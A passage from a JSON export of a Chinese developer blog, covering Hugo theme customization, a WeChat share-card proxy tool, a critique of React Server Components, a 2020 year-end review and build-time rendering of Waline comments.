href=\u0026#34;/\u0026#34;\u0026gt;${articles}\u0026lt;/a\u0026gt;\u0026lt;/strong\u0026gt; 篇\u0026lt;/span\u0026gt;；\u0026lt;span\u0026gt;页面：\u0026lt;strong\u0026gt;\u0026lt;a href=\u0026#34;/\u0026#34;\u0026gt;${pages}\u0026lt;/a\u0026gt;\u0026lt;/strong\u0026gt; 篇\u0026lt;/span\u0026gt;；\u0026lt;span\u0026gt;总字数：\u0026lt;strong\u0026gt;${words}\u0026lt;/strong\u0026gt;\u0026lt;/span\u0026gt;； `; }; function yearStats() { const yearGroup = {}; data.forEach(article =\u0026gt; { const year = parseInt(article.year); if(!yearGroup.hasOwnProperty(year)) { yearGroup[year] = 0; } yearGroup[year] += 1; }); const d = []; for(let i = 2009; i \u0026lt;= (new Date().getFullYear()); i++) { d.push([i, yearGroup[i] || 0]); } showChart(\u0026#39;year-stat\u0026#39;, \u0026#39;文章数 - 按年统计\u0026#39;, \u0026#39;文章数\u0026#39;, d); } function monthStats() { const monthGroup = {}; data.forEach(article =\u0026gt; { if(!monthGroup.hasOwnProperty(article.month)) { monthGroup[article.month] = 0; } monthGroup[article.month] += 1; }); const d = []; for(let year = 2009; year \u0026lt;= (new Date().getFullYear()); year++) { for(let month = 1; month \u0026lt; 13; month++) { const text = `${year}-${month \u0026lt; 10 ? \u0026#39;0\u0026#39; + month : month}`; d.push([text, monthGroup[text] || 0]); } } showChart(\u0026#39;month-stat\u0026#39;, \u0026#39;文章数 - 按月统计\u0026#39;, \u0026#39;文章数\u0026#39;, d); } function hourStats() { const hourGroup = {}; data.forEach(article =\u0026gt; { const hour = parseInt(article.hour); if(!hourGroup.hasOwnProperty(hour)) { hourGroup[hour] = 0; } hourGroup[hour] += 1; }); const d = [ [\u0026#39;00:00-01:00\u0026#39;], [\u0026#39;01:00-02:00\u0026#39;], [\u0026#39;02:00-03:00\u0026#39;], [\u0026#39;03:00-04:00\u0026#39;], [\u0026#39;04:00-05:00\u0026#39;], [\u0026#39;05:00-06:00\u0026#39;], [\u0026#39;06:00-07:00\u0026#39;], [\u0026#39;07:00-08:00\u0026#39;], [\u0026#39;08:00-09:00\u0026#39;], [\u0026#39;09:00-10:00\u0026#39;], [\u0026#39;10:00-11:00\u0026#39;], [\u0026#39;11:00-12:00\u0026#39;], [\u0026#39;12:00-13:00\u0026#39;], [\u0026#39;13:00-14:00\u0026#39;], [\u0026#39;14:00-15:00\u0026#39;], [\u0026#39;15:00-16:00\u0026#39;], [\u0026#39;16:00-17:00\u0026#39;], [\u0026#39;17:00-18:00\u0026#39;], [\u0026#39;18:00-19:00\u0026#39;], [\u0026#39;19:00-20:00\u0026#39;], [\u0026#39;20:00-21:00\u0026#39;], [\u0026#39;21:00-22:00\u0026#39;], [\u0026#39;22:00-23:00\u0026#39;], [\u0026#39;23:00-24:00\u0026#39;] ].map((item, key) =\u0026gt; { item[1] = hourGroup[key] || 0; return item; }); showChart(\u0026#39;hour-stat\u0026#39;, \u0026#39;文章数 - 按时段统计\u0026#39;, \u0026#39;文章数\u0026#39;, d); } function weekStats() { const weekGroup = {}; data.forEach(article =\u0026gt; { if(!weekGroup.hasOwnProperty(article.week)) { weekGroup[article.week] = 0; } weekGroup[article.week] += 1; }); const d = [ [\u0026#39;星期一\u0026#39;, weekGroup.Monday], [\u0026#39;星期二\u0026#39;, weekGroup.Tuesday], [\u0026#39;星期三\u0026#39;, weekGroup.Wednesday], [\u0026#39;星期四\u0026#39;, weekGroup.Thursday], [\u0026#39;星期五\u0026#39;, weekGroup.Friday], [\u0026#39;星期六\u0026#39;, weekGroup.Saturday], [\u0026#39;星期日\u0026#39;, weekGroup.Sunday] ]; showChart(\u0026#39;weekday-stat\u0026#39;, \u0026#39;文章数 - 按星期几统计\u0026#39;, \u0026#39;文章数\u0026#39;, d); } \u0026lt;/script\u0026gt; {{ end }} 其它 除了以上这些，我的博客中改动最大的当属评论这块，但这块定制型比较高，一般玩家就不推荐了，感兴趣的还是去看我之前的《静态博客如何高性能插入评论》一文。除此之外，我还修改了 footer.html 修改了底部显示文案，增加了网页统计脚本；基于自研的 wxhermit 增加了微信分享自定义相关功能；文章页目录底部增加了个人公众号的展示。由于这些内容都比较简单且定制化内容程度比较高，就不一一展示了，感兴趣的朋友可以自行查看源码查阅。\n","count":4803,"date":"2021年02月15日","featuredImage":"https://imnerd.org/assets/migration/i.loli.net/2020/11/07/B6GZn1V2AS8XYIT.jpg","permalink":"https://imnerd.org/custom-hugo-theme-eureka.html","summary":"\u003cp\u003e今天有网友邮件我咨询我现在的主题 \u003ca href=\"https://github.com/wangchucheng/hugo-eureka\" title=\"Eureka\"\u003eEureka\u003c/a\u003e 的一些自定义配置，他想参考一下。由于我的博客仓库是私有的，所以就写一篇文章简单整理一下。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/wangchucheng/hugo-eureka\" title=\"Eureka\"\u003eEureka\u003c/a\u003e 是前段时间群友推荐给我的，纯白的朴素风格同时提供了暗色模式瞬间我就喜欢上了。将其 \u003ccode\u003eclone\u003c/code\u003e 到 Hugo 博客目录 \u003ccode\u003ethemes/hugo-eureka\u003c/code\u003e 下，\u003ccode\u003econfig.toml\u003c/code\u003e 中配置 \u003ccode\u003etheme = \u0026quot;hugo-eureka\u0026quot;\u003c/code\u003e 即可使用上该款主题。为了方便主题的更新，我将我所有自定义的模板都放在了 \u003ccode\u003elayouts\u003c/code\u003e 目录下。Hugo 会将主题目录和 \u003ccode\u003elayouts\u003c/code\u003e 目录下的文件进行合并，并优先使用 \u003ccode\u003elayouts\u003c/code\u003e 目录中的同名文件。这样之后我只需要单纯的更新 \u003ccode\u003ethtmes/hugo-eureka\u003c/code\u003e 目录即可。\u003c/p\u003e","time":10,"title":"Hugo 主题 Eureka 自定义"},{"comments":{"data":[7],"errmsg":"","errno":0},"contents":"我们知道，在微信中打开网页，使用右上角的 ... 分享给朋友/朋友圈，是可以使用 JS SDK 自定义分享卡片文案的。为了让分享内容能够更好的受到监管，从早期会自动读取网页内第一张大图到后期使用 JS SDK 自定义分享，再到后期需要做域名绑定关联，自定义分享卡片内容的流程变的越来越复杂。\n目前如果你的网站想要增加微信自定义分享文案的支持，需要准备以下两件事情：\n确保你的网站域名已备案，并被添加到了一个已认证的公众号的“JS安全域名”中。 提供服务端支持，用于与微信交互获取 access token 和 jsapi ticket 并计算获得最终的 signature，用于在前端调用微信 JS SDK 时进行校验。 具体的流程可以参见微信开放文档。可以看到要想实现自定义分享文案，除了开发流程之外，你还需要域名备案和公众号认证，这两个做过的人肯定知道会有多头疼了。而最蛋疼的是，我的博客域名后缀 .org 目前是不支持备案的，难道就没有办法了吗？\nwxhermit 为了能让未备案网站也能自定义分享文案，我开发了 wxhermit 这个项目。它的原理非常简单，基本就是在已备案域名下 \u0026lt;iframe\u0026gt; 嵌套展示未备案域名，并通过 postMessage 通信，将自定义分享的文案传递到父页面。最终实现了任意网站分享自定义的需求。\n当然它的本质还是使用基于最开始的备案域名网站进行分享。由于微信分享需要提供已认证公众号并绑定已备案域名，一个已认证公众号只能绑定至多 5 个安全域名，条件颇为苛刻。针对 5 个以上的域名，部分域名无法备案的情况，要自定义微信分享的文案就非常麻烦。本方案比较好的迂回解决该问题。\n如何使用 在服务端使用 Docker 启动服务。其中 WECHAT_ID 和 WECHAT_SECRET 是在微信公众号后台开发-基本配置中获取的“开发者ID”和“开发者密码”。而 ALLOW_HOST_LIST 是为了避免服务被滥用，允许开发者配置允许使用内嵌服务的网站。可以使用逗号拼接多个域名，例如 imnerd.org,eming.li。不在该列表中的域名会直接跳转会源地址。\ndocker run \\ -e WECHAT_ID=\u0026lt;WECHAT_ID\u0026gt; \\ -e WECHAT_SECRET=\u0026lt;WECHAT_SECRET\u0026gt; \\ -e ALLOW_HOST_LIST=\u0026lt;ALLOW_HOST_LIST\u0026gt; \\ -p 8360:8360 lizheming/wxhermit 而对于需要使用该服务的网站，需要在页面中增加以下代码用于自定义分享文案。其中 wxhermit 是固定值，其它的为自定义文案内容。\n\u0026lt;script\u0026gt; if (window.parent !== window) { window.parent.postMessage({ type: \u0026#39;wxhermit\u0026#39;, title: \u0026#39;自定义分享的标题\u0026#39;, desc: \u0026#39;自定义分享的描述\u0026#39;, imgUrl: \u0026#39;自定义分享的封面图\u0026#39; }, \u0026#39;*\u0026#39;); } \u0026lt;/script\u0026gt; 配置好后就可以在微信使用 \u0026lt;domain\u0026gt;/?url=\u0026lt;url\u0026gt; 来访问了，其中 \u0026lt;domain\u0026gt; 是你的已绑定的安全域名，\u0026lt;url\u0026gt; 则是在 ALLOW_HOST_LIST 中配置的可使用域名下的网址。\n后记 通过代理的形式很好的解决了我未备案域名需要自定义分享的问题。为了能让体验更自然，我在我的网站中增加了在微信中自动跳转至该嵌套页面的逻辑。\n\u0026lt;script\u0026gt; if(/micromessenger/i.test(navigator.userAgent) \u0026amp;\u0026amp; window.parent === window) { location.href = \u0026#39;https://wechat.75.team/?url=\u0026#39; + encodeURIComponent(location.href); } \u0026lt;/script\u0026gt; 不过它的缺点也很明显，本质相当于将所有的域名都挂靠在某个安全域名之下。所以在微信下拉显示网站地址的时候都还是显示该安全域名。而且子域如果出现内容问题的话风险也全部在该安全域名上，所以建议是 ALLOW_HOST_LIST 配置个人可控域名。\n除了我的这种方案之外，也有配置 \u0026lt;meta\u0026gt; 信息通过 Safari 调用系统的分享功能设置封面图和文案的方式，以及通过 QQ 浏览器分享自动获取页面第一张大图的形式自定义分享卡片。不过它们在可定制和确定性上都要稍微弱一些，可以根据实际情况选择使用。\n","count":1251,"date":"2021年02月03日","featuredImage":"https://imnerd.org/assets/migration/p3.ssl.qhimg.com/t01cf7ed0ad264babe8.png","permalink":"https://imnerd.org/wechat-custome-share-with-any-site.html","summary":"\u003cp\u003e我们知道，在微信中打开网页，使用右上角的 \u003ccode\u003e...\u003c/code\u003e 分享给朋友/朋友圈，是可以使用 JS SDK 自定义分享卡片文案的。为了让分享内容能够更好的受到监管，从早期会自动读取网页内第一张大图到后期使用 JS SDK 自定义分享，再到后期需要做域名绑定关联，自定义分享卡片内容的流程变的越来越复杂。\u003c/p\u003e","time":3,"title":"不用备案也能支持微信自定义分享"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"前段时间 React 团队发布了一项用于解决 React 页面在多接口请求下的性能问题的解决方案 React Server Components。当然该方案目前还在草案阶段，官方也只是发了视频和一个示例 demo 来说明这个草案。\nServer Components 官方在视频和 RFC 中说明了产生这个方案的主要原因是因为大量的 React 组件依赖数据请求才能做渲染。如果每个组件自己去请求数据的话会出现子组件要等父组件数据请求完成渲染子组件的时候才会开始去请求子组件的数据，也就是官方所谓的 WaterFall 数据请求队列的问题。而将数据请求放在一起请求又非常不便于维护。\n既然组件需要数据才能渲染，那为什么接口不直接返回渲染后的组件呢？所以他们提出了 Server Components 的解决方案。我们暂且不管这其中的逻辑有没有道理，先来看看该方案的大体流程是怎样的。\n方案的大概就是将 React 组件拆分成 Server 组件（.server.tsx）和 Client 组件（.client.tsx）两种类型。其中 Server 组件会在服务端直接渲染并返回。与 SSR 的区别是 Server Components 返回的是序列化的组件数据，而不是最终的 HTML。\n可能带来的问题 通过接口将组件和组件的数据一并返回的方式带来了打包体积的优势，但是它真的能像 React Hooks 一样香吗？我觉得并不然。\n接口返回 常规做法里前端 JS 中加载组件，接口返回组件需要的数据。而 React Server Components 中则是将二者合二为一，虽然在打包体积上有所优化，但是明显是把这体积转义到了接口返回中。特别是在类似列表这种有分页的请求中，这种劣势会更明显。明明组件只需要在初始的时候进行加载，但是因为被融合进接口里了，每次接口都会返回冗余的组件结构，这样也不知道是好还是不好。可能后续需要优化一下接口二次返回只返回数据会比较好。\n服务器成本问题 这里所说的服务器成本有很多，首先是机器本身的成本。将客户端渲染行为迁移到服务端时候势必会增加服务端的压力，用户量上来之后这块的成本是成量级的在增加的。关于这个问题，官方提供的回复是随着服务器的成本降低势必 Server Components 带来的优势会抵消这块的劣势。\nQuestion: This might become more expensive for applications. In the search demo, finding those search results plus rendering them on the server is a more expensive operation than just an API call sent from the client.\nReply: We are moving some of the rendering to the server–so it\u0026rsquo;s true that your server will be doing more work than before. But server costs are constantly going down, and far more powerful than most consumer devices. I think React Server Components will give you the ability to make that tradeoff and choose where you best want the work to be done, on a per component basis. And that\u0026rsquo;s not something that\u0026rsquo;s easily possible today. via: 《RFC: React Server Components》\n不过以目前我所在的业务情况来看，服务器的成本还是非常贵的，为了降低成本大家纷纷将逻辑下发到边缘计算甚至是客户端处理。一方面是为了节省成本，另一方面也是为了降低压力加快处理。\n除了机器本身的成本之外，请求的成本也会增加。毕竟除了数据请求之外还要处理组件渲染，而且这块作为组件耦合不好进行拆分。相比较常规方案，使用 JS 文件加载组件到客户端，接口单纯返回数据，这块的时间成本增加了非常多。特别是常规方案中 JS 文件加载完之后是在浏览器中缓存的，后续的成本非常小。\n体积问题可能还好，但是请求时间增加了这个可能就非常致命了。\n心智负担 这点在 RFC 中也有说明。由于 Server Components 中无法使用 useState, useReduce, useEffect, DOM API 等方法，势必这会给使用者带来大量的心智负担。虽然官方说会使用工具让开发者做到无感，且会提供运行时报错，但是我相信光是想什么时候需要写 Server Componet 什么时候需要写 Client Component 就已经脑壳疼了吧，更别提还有个 Shared Component 了。\n另外还有就是增加了跨端的流程之后，调试的成本也会变的非常高。别说很多人没有服务端的经验，就算是有相关经验的同学可能也没办法很好的在服务端进行快速定位。关于这个问题官方提供的说法是可以依赖内部的错误监控和日志服务。\n回归问题的本质 让我们回归到问题的本质，React Server Component 的目的其实是为了解决接口请求分散在各组件中带来的子组件的数据请求需要等待父组件请求完成渲染子组件时才能开始请求的数据请求队列问题。那么除了 Server Component 之外没有其它的解决方案了吗？其实不然。\nimport React, {useState, useEffect} from \u0026#39;react\u0026#39;; import ReactDOM from \u0026#39;react-dom\u0026#39;; function App() { const [data, setData] = useState([]); useEffect(() =\u0026gt; { fetchData.then(setData); }, []); return ( \u0026lt;div\u0026gt; {!data.length ? \u0026#39;loading\u0026#39; : null} \u0026lt;Child data={data} /\u0026gt; \u0026lt;/div\u0026gt; ); } function Child({data}) { const [childData, setData] = useState([]); useEffect(() =\u0026gt; { fetchChildData.then(setData); }, []); if(!data.length) { return null; } return ( \u0026lt;div\u0026gt;{data.length + childData.length}\u0026lt;/div\u0026gt; ); } ReactDOM.render(\u0026lt;App /\u0026gt;, document.querySelector(\u0026#39;#root\u0026#39;)); 如示例代码所示，只要加载组件，但是在无数据情况下不返回 DOM 也是可以做到子组件的数据先请求而无需等待的。当然这种需要认为的在写法上进行优化，但我也仍然认为比大费周章的去做 Server Component 要好很多。\n至于 Server Component 带来的打包体积优化这个问题，我觉得 RFC 里面的评论说的非常的好。”比起 83KB（gzip 后大概是 20KB）打包体积，我觉得在项目中为了格式化日期使用一个 83KB 的库这才是更大的问题。“\nRemoving a 83KB (20KB gzip) library isn\u0026rsquo;t a big deal, I would say the bigger problem here is that you\u0026rsquo;re using a 83KB library to format dates. via: 《RFC: React Server Component》\n实际上官方列举的两点关于日期处理以及 Markdown 格式处理的库，可以看到都是针对于数据进行处理的需求。针对这种情况如果觉得这块的体积非常”贵“的话完全是可以让服务端将格式化后的数据返回，这样岂不是更小成本的解决了这个问题？\n后记 看完 《RFC: React Server Component》 中所有的讨论，大部分人对 Server Component 还是持不赞成的态度的，认为它可能并没有像 React Hooks 那样解决业务中的实际痛点。就目前暴露的提案，我个人也觉得 Server Component 是弊大于利的。目前就期望官方如果要实现的话能解耦实现，不要影响未使用 Server Component 的 React 用户打包体积。\n当然该提案我觉得不是没有好处，它最大的好处我个人认为是带来了 React 组件序列化的官方标准。为多端、多机、多语言之间实现 React 组件交流提供了基础。基于这套序列化方案，我们可以实现组件缓存存储，多机器并发渲染组件等。至于多语言实现也是在 RFC 讨论中大家比较关心的问题，通过这套序列化标准让其它语言去实现 React 组件也不是没有可能。\n","count":2204,"date":"2021年01月11日","featuredImage":"https://imnerd.org/assets/migration/p3.ssl.qhimg.com/t01c258a37a918fa950.png","permalink":"https://imnerd.org/react-server-component-may-not-fit-for-you.html","summary":"\u003cp\u003e前段时间 React 团队发布了一项用于解决 React 页面在多接口请求下的性能问题的解决方案 \u003ca href=\"https://reactjs.org/server-components\" title=\"React Server Components\"\u003eReact Server Components\u003c/a\u003e。当然该方案目前还在草案阶段，官方也只是发了视频和一个示例 \u003ca href=\"http://github.com/reactjs/server-components-demo\" title=\"React Server Components Demo\"\u003edemo\u003c/a\u003e 来说明这个\u003ca href=\"https://github.com/reactjs/rfcs/pull/188\" title=\"React Server Comonents RFC\"\u003e草案\u003c/a\u003e。\u003c/p\u003e","time":5,"title":"React Server Component 可能并没有那么香"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":"不知不觉，2020年都要过去了。今年因为疫情的原因，感觉时间过得特别的快，一不留神，一年就这么过去了。而今年发生的很多事情也都围绕着疫情在改变着。\n🚑 疫情 每当你想尝试放松的时候，你都会被工作扼住命运的喉咙。今年要说什么对我的影响最大，非疫情莫属了。当我还在家里做着疫情很快会过去的美梦的时候，不知不觉就已经被疫情专题页的工作搞的日夜颠倒了。可能是因为丁香园疫情专题页的高流量，不知道为何我们突然之间也投入了大量的人力去开发疫情专题页了。整整持续了两个多月的高强度工作让我身心俱疲。\n看看我当时发的状态，真是太丧了。印象比较深的是有一天搞到凌晨3点才休息，结果8点的时候就被领导电话叫起来说是线上有 Bug 赶紧看看。我… 😓真是棒呢！\n截两个图留存下被大 Boss 直接跟项目带来的恐惧，名字就不留了，看头像懂得人应该都懂。\n好在三月之后慢慢开始复工，回到公司之后状态慢慢的就恢复过来了。甚至感觉还能再来个疫情呢（大雾！ 现在回过头来不得不感慨，之前一天 50 多次上线，每次上线都没走 QA 就上了，我头是有多铁啊！全程面向微信开发，产品微信发需求，设计微信发设计图，开发微信发上线记录。我们都有美好的未来……个鬼啊！\n🌎 Drone 看过我之前文章的同学就知道，Drone 是我非常喜欢的一款 CI/CD 的工具。它的可扩展性非常高，适合用来在企业内部进行 CI/CD 服务的接入和部署推广。奈何内部环境限制，Gitlab 版本过低，网段隔离导致推广起来还挺费劲的。\n不过两年后环境发生了很大的变化，Gitlab 版本升级上来了，网段隔离的问题也发现了解决方案。顺顺利利的就部署了起来。而且老板也想统一推广 CI/CD 这块，正好顺着这个风推广给大家了。\n为了帮助大家能快速的接入 Drone，也开发了很多内部服务相关的插件，包括内部项目、容器上线的，内部 IM 消息通知的插件。而且高兴的是，除了我之外，公司内还有其它团队的同学也有在使用 Drone，写的插件对他们也很有帮助。\n自己一直想推的事情总算有一点小小的进展，而且发现还有同好，真是很开心呢。\n👩‍🎨 设计云 设计云是今年团队因为蓝湖收费产出的一款类似于蓝湖的设计交付工具。后续转手到了我这里进行开发维护。它给我最大的收获是打开了 Sketch 插件开发的大门，原来开发一款 Sketch 插件其实没有想象中的那么困难。\n当然开始的时候还是非常难的，经常碰到问题需要去请教之前做的小伙伴。不过后来基本就驾轻就熟了。然后反向回馈 Sketch 插件社区一些项目中反馈到的问题。成为了插件核心插件 skpm/skpm 的贡献者，想想都还挺激动的呢。\n另外我负责了这个项目包括前端、服务端、客户端上的全部重构，所以这块能总结的东西其实也非常多。我是特别喜欢将自己的知识总结成文字分享给大家的，所以那段时间也一连产出了好些文章，都是从这个项目中反馈出来的经验。\nSketch 插件导出切片 如何制作 Sketch 插件 使用 SVG 制作加载动画 如何使用 ThinkJS 优雅的编写 RESTful API 🙏 司徒正美 4月1日，惊闻正美老师过逝的消息，一度还以为是假消息，后来经过正美老师的室友确认。正美老师是在前端圈非常有技术声望的人，他的离世震惊了圈内人士。\n我和正美老师的交集在于我在业务上使用了正美老师之前开发的类 React 框架 anu.js。选择这个库的原因有以下几点：\n满足了我们的 React IE 兼容性要求 它比较小巧，代码清晰易懂我们自己维护也不费劲 正美老师个人在前端框架这块的技术声望 后续该框架也在我们的项目中扮演越来越重要的角色，我也不遗余力的在推广其他业务的小伙伴有类似兼容性需求的时候使用该框架。而正美老师的突然离世则让该框架成了没爹的孩子。\n为了保证业务的可维护性，以及不让正美老师的遗作就这么销声匿迹，我慢慢开始了 anujs 项目的权限申请，主要是 npm 模块的权限申请以及 Github 仓库的权限申请。这些由于账号主人的离世，都只能去邮件和网站管理沟通了。\n在经历了一段时间的等待之后，5月1日我成功获得了 anujs 的 npm 模块的发布权限。而 Github 的权限则非常可惜的没有申请下来，最后我们采用了 fork 的方式继续维护。\n目前我们项目组有一位对 React 框架有经验的同学在负责维护该框架，主要是一些日常的 Bug 修复。感谢正美老师为我们带来这么好的作品，也愿他在天堂安息。\n🌋 垃圾评论 2020年的年末，我不是很开心，因为……我被网暴了。起因是我发布了一篇 《基于 Serverless 的 Valine 可能并没有那么香》 的文章。文章里描述了一款第三方评论工具 Valine 存在的一些安全问题，然后在文末介绍了我为了解决该问题开发的高度兼容 Valine 的评论系统 Waline。\n也不知是哪位无聊之人使用我的昵称和邮箱在全网使用 Valine 的博客中套用我的身份给它们发送了大量该文章和 Waline 系统的垃圾评论广告。导致大量的博主到我的博客上投诉甚至谩骂我。\n这本是有人利用了 Valine 系统本身的漏洞问题制作的一场恶作剧，本来解释一下大家应该也都能理解就这么过去了。不过其中有一位用户说什么也不相信这不是我本人干的。在我的博客上疯狂的辱骂我。本来他发些垃圾评论我觉得也没什么，大不了定时清理下数据就好了。但是他开始回复我的博客的其它评论。而评论是有回复通知的，这无疑对其它博主造成了困扰。\n为了阻止他，我紧急增加了发送频率限制、关键词过滤、IP黑名单等常见的反垃圾评论操规则。当他发现我有 IP 黑名单之后，还会尝试换一些 IP 来操作。好在经过几次的 IP 黑名单完善之后，慢慢的发的也就少很多了。不过后续更过分的事情又来了，他又顺着我的友链列表，去到我的友链博客下面使用我的信息伪造我的发言。真是可笑的事情啊，屠龙者终成恶龙！\n💻 后记 其实今年发生的事情非常多，组织也发生了很大的变化，但有些事情真的无法用言语表达出来，就让它默默的存在我心里吧。新的一年 Flag 就不立了，希望在新的一年里能够在技术上有更好的突破，折腾一些更有意思的东西吧。\n","count":2271,"date":"2020年12月31日","featuredImage":"https://imnerd.org/assets/migration/p4.ssl.qhimg.com/t01e6992ffc961a2f8d.png","permalink":"https://imnerd.org/2020-summary.html","summary":"\u003cp\u003e不知不觉，2020年都要过去了。今年因为疫情的原因，感觉时间过得特别的快，一不留神，一年就这么过去了。而今年发生的很多事情也都围绕着疫情在改变着。\u003c/p\u003e","time":5,"title":"2020 岁末总结"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"🌏 前言 我们知道，静态博客由于不带有动态功能，所以针对评论这种动态需求比较大众的做法就是使用第三方评论系统。第三方评论的本质其实就是使用 JS 去调取第三方服务接口获取评论后动态渲染到页面中。虽然它很好的解决了这个问题，但是由于需要请求接口，在体验上远比动态博客的直出效果要差很多。所以当我把博客从动态博客 Typecho 迁移到静态博客 Hugo 上来时，就一直在思考这个问题。直到我看到了 Hugo 的 getJSON 方法，发现原来静态博客也是能够像动态博客一样直出评论的。\n大部分的静态博客的原理是解析存储内容的文件夹，使用一些模板语言遍历数据生成一堆 HTML 文件。而 Hugo 除了解析 Markdown 内容之外，还支持额外的数据获取方法 getJSON。由于有了 getJSON 方法的出现，我们可以实现在博客编译构建过程中动态的去获取评论接口数据，将其渲染到页面中，实现评论数据的直出效果。关于 getJSON 的更多介绍，可以查看 Hugo 文档数据模板一节。\n🎃 方案 高性能方案基本思路是在需要评论数据的地方通过 getJSON 方法调用接口获取评论数据并进行模板渲染。当评论更新的时候，我们需要触发重新构建。实现这个方案依赖三个关键要素：\n构建过程支持调取接口获取数据 评论服务提供 HTTP 接口返回数据 博客部署服务支持钩子触发重新构建 我的博客使用的是 Hugo 静态博客系统，如上文所说通过 getJSON 即可解决第一个问题。而我的评论服务使用的是自研的 Waline 评论系统，它提供了评论数、评论列表、最近评论等基础接口满足我们的数据获取需求。并且 Waline 提供了丰富的钩子功能，支持在评论发布的时候触发自第一方法。我的博客部署在 Vercel 上，它提供了 Deploy Hooks 功能，通过 URL 即可触发重新构建。也就是说我只要在 Waline 评论发布的钩子中调用 Vercel 的钩子 URL 触发重新构建即可解决第三个问题。\n🥪 实现 我的博客上有三处地方和评论有关，分别是首页侧边栏的最近评论，文章标题下方的评论数，以及文章详情页底部的评论列表展示。\n🍞 最近评论 Waline 最近评论接口：文档\n{{ $walineURL := .Site.Params.comment.waline.serverURL }} \u0026lt;h2 class=\u0026#34;widget-title \u0026#34;\u0026gt;最近回复\u0026lt;/h2\u0026gt; \u0026lt;ul class=\u0026#34;widget-list recentcomments\u0026#34;\u0026gt; {{ $resp := getJSON $walineURL \u0026#34;/comment?type=recent\u0026#34; }} {{ range $resp }} \u0026lt;li class=\u0026#34;recentcomments\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{.Site.BaseURL}}{{ .url }}\u0026#34;\u0026gt;{{ .nick }}\u0026lt;/a\u0026gt;：{{ .comment | safeHTML | truncate 22 }} \u0026lt;/li\u0026gt; {{ end }} \u0026lt;/ul\u0026gt; 🧀 文章评论数 Waline 获取文章对应的评论数接口：文档\n{{ $walineURL := .Site.Params.comment.waline.serverURL }} {{ $count := getJSON $walineURL \u0026#34;/comment?type=count\u0026amp;url=/\u0026#34; .Slug \u0026#34;.html\u0026#34; }} \u0026lt;a href=\u0026#34;{{ .Permalink }}#comments\u0026#34; title=\u0026#34;{{ .Title }}\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-comment mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{- if gt $resp 0}}{{$resp}} 条评论{{else}}暂无评论{{end -}}\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; 🍯 评论列表 评论列表由于有分页的存在，不像最近评论和评论数一样简单的调用接口即可。先获取评论数，发现有评论时先获取第一页的评论，主要是用来获取总共有多少页评论。之后再从第二页开始循环获取评论数据。最终将获取到的数据全部存到 {{$scratch.Get \u0026quot;comments\u0026quot;}} 数组中，使用模板语法渲染该数组数据即可。\n{{$baseUrl := .Site.Params.comment.waline.serverURL}} {{$slug := .Slug}} {{$count := getJSON $baseUrl \u0026#34;/comment?type=count\u0026amp;url=/\u0026#34; $slug \u0026#34;.html\u0026#34; }} {{$scratch := newScratch}} {{$scratch.Add \u0026#34;comments\u0026#34; slice}} {{if gt $count 0}} {{$comments := getJSON $baseUrl \u0026#34;/comment?path=/\u0026#34; $slug \u0026#34;.html\u0026amp;page=1\u0026amp;pageSize=100\u0026#34;}} {{range $cmt := $comments.data}} {{$scratch.Add \u0026#34;comments\u0026#34; $cmt}} {{end}} {{$totalPages := $comments.totalPages}} {{if gt $totalPages 1}} {{range $page := seq 2 $totalPages}} {{$comments := getJSON $baseUrl \u0026#34;/comment?path=/\u0026#34; $slug \u0026#34;.html\u0026amp;pageSize=100\u0026amp;page=\u0026#34; $page}} {{range $cmt := $comments.data}} {{$scratch.Add \u0026#34;comments\u0026#34; $cmt}} {{end}} {{end}} {{end}} {{end}} \u0026lt;div class=\u0026#34;vcards\u0026#34;\u0026gt; {{range $cmt := $scratch.Get \u0026#34;comments\u0026#34;}} \u0026lt;div class=\u0026#34;vcard\u0026#34; id={{$cmt.objectId}}\u0026gt; \u0026lt;img class=\u0026#34;vimg\u0026#34; src=\u0026#34;https://gravatar.loli.net/avatar/{{$cmt.mail}}?d=mp\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;vh\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;vhead\u0026#34;\u0026gt; \u0026lt;a class=\u0026#34;vnick\u0026#34; rel=\u0026#34;nofollow\u0026#34; href=\u0026#34;{{$cmt.link}}\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;{{$cmt.nick}}\u0026lt;/a\u0026gt; \u0026lt;span class=\u0026#34;vsys\u0026#34;\u0026gt;{{$cmt.browser}}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;vsys\u0026#34;\u0026gt;{{$cmt.os}}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;vmeta\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;vtime\u0026#34;\u0026gt;{{dateFormat $cmt.insertedAt \u0026#34;2006-01-02 03:04:05\u0026#34;}}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;vat\u0026#34;\u0026gt;回复\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;vcontent\u0026#34; data-expand=\u0026#34;查看更多...\u0026#34;\u0026gt; {{$cmt.comment | safeHTML}} \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;vreply-wrapper\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;vquote\u0026#34;\u0026gt; {{range $cmt := $cmt.children}} \u0026lt;div class=\u0026#34;vh\u0026#34; id=\u0026#34;{{$cmt.objectId}}\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;vhead\u0026#34;\u0026gt; \u0026lt;a class=\u0026#34;vnick\u0026#34; rel=\u0026#34;nofollow\u0026#34; href=\u0026#34;{{$cmt.link}}\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;{{$cmt.nick}}\u0026lt;/a\u0026gt; \u0026lt;span class=\u0026#34;vsys\u0026#34;\u0026gt;{{$cmt.browser}}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;vsys\u0026#34;\u0026gt;{{$cmt.os}}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;vmeta\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;vtime\u0026#34;\u0026gt;{{dateFormat 